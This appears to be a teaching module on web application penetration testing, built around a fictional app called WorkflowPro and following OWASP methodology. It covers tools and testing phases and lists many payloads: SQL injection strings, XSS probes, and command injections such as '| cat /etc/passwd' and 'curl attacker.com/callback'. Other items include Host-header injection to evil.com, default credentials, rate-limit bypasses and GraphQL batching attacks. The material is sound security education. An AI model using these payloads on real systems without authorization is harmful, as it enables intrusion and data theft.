Week Content

Introduction: The Application Layer

Last week focused on infrastructure—operating systems, network services, and system configurations. This week shifts to the application layer, where custom code meets user input. Web application vulnerabilities differ fundamentally from infrastructure issues: they're often unique to the specific application, can't be fixed with vendor patches, and require developer remediation.

For NovaTech, the WorkflowPro application is business-critical. It handles customer authentication, processes sensitive workflow data, and integrates with customer systems via APIs. A vulnerability here could expose customer data, enable account takeover, or compromise the entire platform.

1. Web Application Security Fundamentals

Before diving into tools and techniques, establish a foundation in how web applications work and where vulnerabilities emerge.

The Web Application Attack Surface

┌─────────────────────────────────────────────────────────────────┐
│              WEB APPLICATION ATTACK SURFACE                     │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  ┌──────────┐         ┌──────────┐         ┌──────────┐        │
│  │  CLIENT  │ ◄─────► │   WAF/   │ ◄─────► │  WEB     │        │
│  │ (Browser)│  HTTPS  │   CDN    │         │  SERVER  │        │
│  └──────────┘         └──────────┘         └──────────┘        │
│       │                                          │              │
│       │                                          ▼              │
│       │                                    ┌──────────┐        │
│       │                                    │   APP    │        │
│       │                                    │  SERVER  │        │
│       │                                    └──────────┘        │
│       │                                          │              │
│       │                                          ▼              │
│       │                                    ┌──────────┐        │
│       │                                    │ DATABASE │        │
│       │                                    └──────────┘        │
│       │                                                        │
│  ATTACK VECTORS:                                               │
│  ─────────────────────────────────────────────────────────     │
│  • Input fields (forms, URLs, headers, cookies)                │
│  • Authentication mechanisms                                   │
│  • Session management                                          │
│  • File uploads                                                │
│  • API endpoints                                               │
│  • Client-side code (JavaScript)                               │
│  • Business logic                                              │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘
            

The OWASP Top 10 (2021)

The OWASP Top 10 represents the most critical web application security risks. Your assessment should systematically test for each category:

2. Web Application Testing Tools

Effective web application testing requires specialized tools. The cornerstone is an intercepting proxy that allows you to inspect and modify HTTP traffic.

Burp Suite

Burp Suite is the industry-standard web application testing platform. The Community Edition (free) provides core functionality; Professional adds automated scanning and advanced features.

OWASP ZAP

OWASP Zed Attack Proxy is a free, open-source alternative to Burp Suite. It includes automated scanning capabilities in the free version.

# Launch ZAP
zaproxy &

# Or use headless mode for automated scanning
zap-cli quick-scan -s all -r report.html https://target.com

# API scan for OpenAPI/Swagger specs
zap-cli openapi-scan -f openapi.json -t https://api.target.com
                

Supplementary Tools

3. Testing Methodology

The OWASP Testing Guide provides a comprehensive methodology for web application assessment. Follow this structured approach to ensure complete coverage.

Testing Phases

┌─────────────────────────────────────────────────────────────────┐
│              WEB APPLICATION TESTING PHASES                     │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  PHASE 1: INFORMATION GATHERING                                 │
│  ─────────────────────────────                                  │
│  • Technology fingerprinting                                    │
│  • Application mapping (spidering)                              │
│  • Entry point identification                                   │
│  • Understanding application logic                              │
│                                                                 │
│  PHASE 2: CONFIGURATION TESTING                                 │
│  ───────────────────────────────                                │
│  • HTTP methods testing                                         │
│  • Security headers analysis                                    │
│  • File extension handling                                      │
│  • Error handling review                                        │
│                                                                 │
│  PHASE 3: AUTHENTICATION TESTING                                │
│  ──────────────────────────────                                 │
│  • Credential transport                                         │
│  • Default credentials                                          │
│  • Account lockout                                              │
│  • Password policy                                              │
│  • Multi-factor authentication                                  │
│                                                                 │
│  PHASE 4: AUTHORIZATION TESTING                                 │
│  ─────────────────────────────                                  │
│  • Path traversal                                               │
│  • Privilege escalation                                         │
│  • IDOR (Insecure Direct Object Reference)                      │
│  • Access control bypass                                        │
│                                                                 │
│  PHASE 5: SESSION MANAGEMENT                                    │
│  ───────────────────────────                                    │
│  • Session token analysis                                       │
│  • Cookie attributes                                            │
│  • Session fixation                                             │
│  • Session timeout                                              │
│                                                                 │
│  PHASE 6: INPUT VALIDATION                                      │
│  ─────────────────────────                                      │
│  • SQL injection                                                │
│  • Cross-site scripting (XSS)                                   │
│  • Command injection                                            │
│  • File inclusion/upload                                        │
│                                                                 │
│  PHASE 7: BUSINESS LOGIC                                        │
│  ───────────────────────                                        │
│  • Workflow bypass                                              │
│  • Abuse of functionality                                       │
│  • Rate limiting                                                │
│  • Data validation                                              │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘
            

Phase 1: Information Gathering

# Identify technologies using whatweb
whatweb -a 3 https://app.workflowpro.io

# Check HTTP headers
curl -I https://app.workflowpro.io

# Look for framework-specific indicators
# React: Check for react-root div, .js bundles
# Node.js: X-Powered-By header (if not removed)
# Express: Default error pages

# Browser developer tools
# - Network tab: Examine response headers
# - Sources tab: Review JavaScript files
# - Application tab: Check cookies, storage
                

# Passive spidering with Burp
# 1. Configure browser proxy
# 2. Browse application manually
# 3. Review Target → Site Map

# Active spidering with ZAP
zap-cli spider https://app.workflowpro.io

# Directory brute-forcing
gobuster dir -u https://app.workflowpro.io \
  -w /usr/share/wordlists/dirb/common.txt \
  -x js,json,html,php -t 20

# JavaScript file analysis for hidden endpoints
# Download main JS bundle, search for API paths
curl https://app.workflowpro.io/static/js/main.js | \
  grep -oE '"/api/[^"]*"' | sort -u
                

Phase 3: Authentication Testing

# Capture login request in Burp
POST /api/auth/login HTTP/1.1
Host: api.workflowpro.io
Content-Type: application/json

{"email":"test@example.com","password":"testpassword"}

# Tests to perform:
# 1. Credential transmission (HTTPS only?)
# 2. Response differences for valid vs invalid users
# 3. Account lockout after failed attempts
# 4. Password complexity requirements
# 5. Rate limiting on login endpoint
                

# Common default credentials to test
admin:admin
admin:password
administrator:administrator
test:test
demo:demo
guest:guest

# Check for documented test accounts in:
# - API documentation
# - JavaScript source code
# - Error messages
# - robots.txt / sitemap.xml
                

# Test password reset flow for:
# 1. Token predictability
# 2. Token expiration
# 3. Token reuse
# 4. User enumeration via different responses
# 5. Email parameter manipulation

# Example: Host header injection for password reset
POST /api/auth/forgot-password HTTP/1.1
Host: evil.com
X-Forwarded-Host: evil.com

{"email":"victim@novatech.com"}
# Check if reset link uses attacker's domain
                

Phase 4: Authorization Testing

# Identify endpoints with object IDs
GET /api/users/12345/profile HTTP/1.1
GET /api/workflows/67890/data HTTP/1.1
GET /api/documents/11111/download HTTP/1.1

# Test with different IDs
# 1. Log in as User A (ID: 12345)
# 2. Note API calls with user-specific IDs
# 3. Change ID to User B's ID (12346)
# 4. Check if access is granted

# Burp Intruder setup for IDOR testing
# Position: GET /api/users/§12345§/profile
# Payload: Numbers 12340-12350
# Compare responses for unauthorized access
                

# Test accessing other users' resources at same privilege level

# Example workflow:
# 1. Create account A, note assigned resources
# 2. Create account B, note assigned resources  
# 3. As account A, attempt to access B's resources
# 4. Modify request parameters, cookies, or headers

# Common parameters to manipulate:
# - user_id, userId, uid
# - account_id, accountId
# - org_id, organization_id
# - email (in request body)
                

# Test accessing admin functions as regular user

# Identify admin endpoints
GET /api/admin/users HTTP/1.1
POST /api/admin/settings HTTP/1.1
DELETE /api/users/12345 HTTP/1.1

# Test as regular user:
# 1. Capture admin session token (if available from other testing)
# 2. Or simply try admin endpoints with regular user session
# 3. Modify role/privilege parameters in requests/cookies

# JWT role manipulation
# Original: {"role": "user", ...}
# Modified: {"role": "admin", ...}
                

Phase 6: Input Validation Testing

# Manual testing payloads
' OR '1'='1
' OR '1'='1'--
" OR "1"="1
' UNION SELECT NULL--
' AND 1=1--
' AND 1=2--

# Test in various parameters
/api/users?id=1' OR '1'='1
/api/search?q=test' UNION SELECT NULL--

# Automated testing with sqlmap
sqlmap -u "https://api.workflowpro.io/api/users?id=1" \
  --cookie="session=abc123" \
  --batch --risk=2 --level=3

# For POST requests
sqlmap -r request.txt --batch --dbs

# request.txt (captured from Burp):
# POST /api/search HTTP/1.1
# Host: api.workflowpro.io
# Content-Type: application/json
# Cookie: session=abc123
#
# {"query":"test*"}
                

# Basic XSS payloads
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>
javascript:alert('XSS')

# Context-specific payloads
# Inside HTML attribute:
" onmouseover="alert('XSS')
' onfocus='alert(1)' autofocus='

# Inside JavaScript:
';alert('XSS');//
</script><script>alert('XSS')</script>

# Inside JSON:
{"name":"<script>alert('XSS')</script>"}

# Test all input fields:
# - Search boxes
# - Profile fields (name, bio)
# - Comments/messages
# - URL parameters reflected in page
# - Error messages

# Check for stored vs reflected XSS
# Stored: Submit payload, see if it persists
# Reflected: Payload in URL parameter appears in response
                

# Common injection payloads
; ls -la
| cat /etc/passwd
`whoami`
$(whoami)
& ping -c 1 attacker.com
|| curl attacker.com/callback

# Test in parameters that might invoke system commands:
# - File operations (filename, path)
# - Image processing
# - PDF generation
# - Email functionality
# - DNS lookups

# Time-based detection
; sleep 10
| sleep 10
`sleep 10`
$(sleep 10)

# Out-of-band detection (if no output visible)
; curl http://YOUR-BURP-COLLABORATOR.net
; nslookup YOUR-BURP-COLLABORATOR.net
                

4. API Security Testing

Modern applications heavily rely on APIs. WorkflowPro uses both REST and GraphQL APIs, each requiring specific testing approaches.

REST API Testing

# Check for API documentation
https://api.workflowpro.io/swagger
https://api.workflowpro.io/swagger.json
https://api.workflowpro.io/api-docs
https://api.workflowpro.io/openapi.json
https://api.workflowpro.io/docs

# Enumerate endpoints from JavaScript
grep -roh '/api/[^"]*' *.js | sort -u

# Fuzz for API endpoints
ffuf -u https://api.workflowpro.io/api/FUZZ \
  -w /usr/share/wordlists/api-endpoints.txt \
  -mc 200,201,401,403
                

# Test API key handling
# 1. Is API key in URL? (should be in header)
# 2. Is key logged in server logs?
# 3. Key rotation mechanism?

# JWT Testing
# Decode JWT (jwt.io or command line)
echo "eyJhbG..." | base64 -d

# Test for:
# 1. Algorithm confusion (change RS256 to HS256)
# 2. None algorithm (remove signature)
# 3. Key confusion (use public key as HMAC secret)
# 4. Expired token acceptance
# 5. Signature not verified

# Tool: jwt_tool
python3 jwt_tool.py <JWT> -M at  # All tests
python3 jwt_tool.py <JWT> -X a   # Algorithm confusion
                

# Test rate limiting
for i in {1..100}; do
  curl -s -o /dev/null -w "%{http_code}\n" \
    https://api.workflowpro.io/api/endpoint
done | sort | uniq -c

# Check for rate limit headers
X-RateLimit-Limit
X-RateLimit-Remaining
X-RateLimit-Reset
Retry-After

# Bypass techniques:
# 1. Add X-Forwarded-For with different IPs
# 2. Use different API keys (if multiple available)
# 3. Rotate User-Agent
# 4. Add null bytes or path variations
                

GraphQL API Testing

# Full introspection query
curl -X POST https://api.workflowpro.io/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{__schema{types{name,fields{name}}}}"}'

# Get all types and fields
query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    types {
      name
      kind
      fields {
        name
        args { name type { name } }
        type { name kind }
      }
    }
  }
}

# Tool: graphql-voyager for visualization
# Tool: InQL Burp extension for GraphQL testing
                

# Query depth attack (DoS)
query {
  user {
    friends {
      friends {
        friends {
          friends {
            name
          }
        }
      }
    }
  }
}

# Batching attack
[
  {"query": "mutation { login(user:\"a\",pass:\"pass1\") }"},
  {"query": "mutation { login(user:\"a\",pass:\"pass2\") }"},
  {"query": "mutation { login(user:\"a\",pass:\"pass3\") }"}
]

# Field suggestions (information disclosure)
# Send invalid field, observe suggestions in error

# IDOR via GraphQL
query {
  user(id: "other-user-id") {
    email
    privateData
  }
}

# SQL injection in arguments
query {
  user(id: "1' OR '1'='1") {
    name
  }
}
                

API Security Checklist

5. Security Headers and Configuration

HTTP security headers provide defense-in-depth against common attacks. Their absence or misconfiguration represents a finding.

Essential Security Headers

Testing Security Headers

# Check headers with curl
curl -I https://app.workflowpro.io

# Online tools
# https://securityheaders.com
# https://observatory.mozilla.org

# Nmap script
nmap --script http-security-headers -p 443 app.workflowpro.io
            

Cookie Security

# Analyze cookies
# Browser DevTools → Application → Cookies

# Look for session cookies without:
# - Secure flag (if HTTPS site)
# - HttpOnly flag (for session tokens)
# - SameSite attribute

# Example insecure cookie:
Set-Cookie: session=abc123; Path=/

# Example secure cookie:
Set-Cookie: session=abc123; Path=/; Secure; HttpOnly; SameSite=Strict
                

CORS Configuration

# Test CORS policy
curl -H "Origin: https://evil.com" \
  -I https://api.workflowpro.io/api/user

# Check response for:
Access-Control-Allow-Origin: https://evil.com  # BAD - reflects origin
Access-Control-Allow-Origin: *                  # BAD - allows any origin
Access-Control-Allow-Credentials: true          # Especially bad with * origin

# Dangerous CORS configuration:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
# This allows evil.com to make authenticated requests!

# Test null origin
curl -H "Origin: null" -I https://api.workflowpro.io/api/user

# Test with credentials
# If CORS allows credentials, test cross-origin data theft
                

6. Documenting Web Application Findings

Web application findings require detailed documentation including request/response pairs, step-by-step reproduction, and proof-of-concept evidence.

Finding Documentation Template

POST /api/workflows HTTP/1.1
Host: api.workflowpro.io
Content-Type: application/json
Authorization: Bearer eyJhbGc...
Cookie: session=abc123def456

{
  "name": "<script>alert(document.cookie)</script>",
  "description": "Test workflow",
  "steps": []
}

---

HTTP/1.1 201 Created
Content-Type: application/json

{
  "id": "wf_12345",
  "name": "<script>alert(document.cookie)</script>",
  "created_at": "2025-01-22T10:30:00Z"
}
                    

// VULNERABLE:
<div dangerouslySetInnerHTML={{__html: workflow.name}} />

// SECURE:
<div>{workflow.name}</div>
                    

🎯 Hands-On Capstone Activities

Apply all CSY203 web security skills to comprehensively assess the capstone web application.

💡 Capstone Strategy: Demonstrate depth—find chained vulnerabilities, not just individual bugs.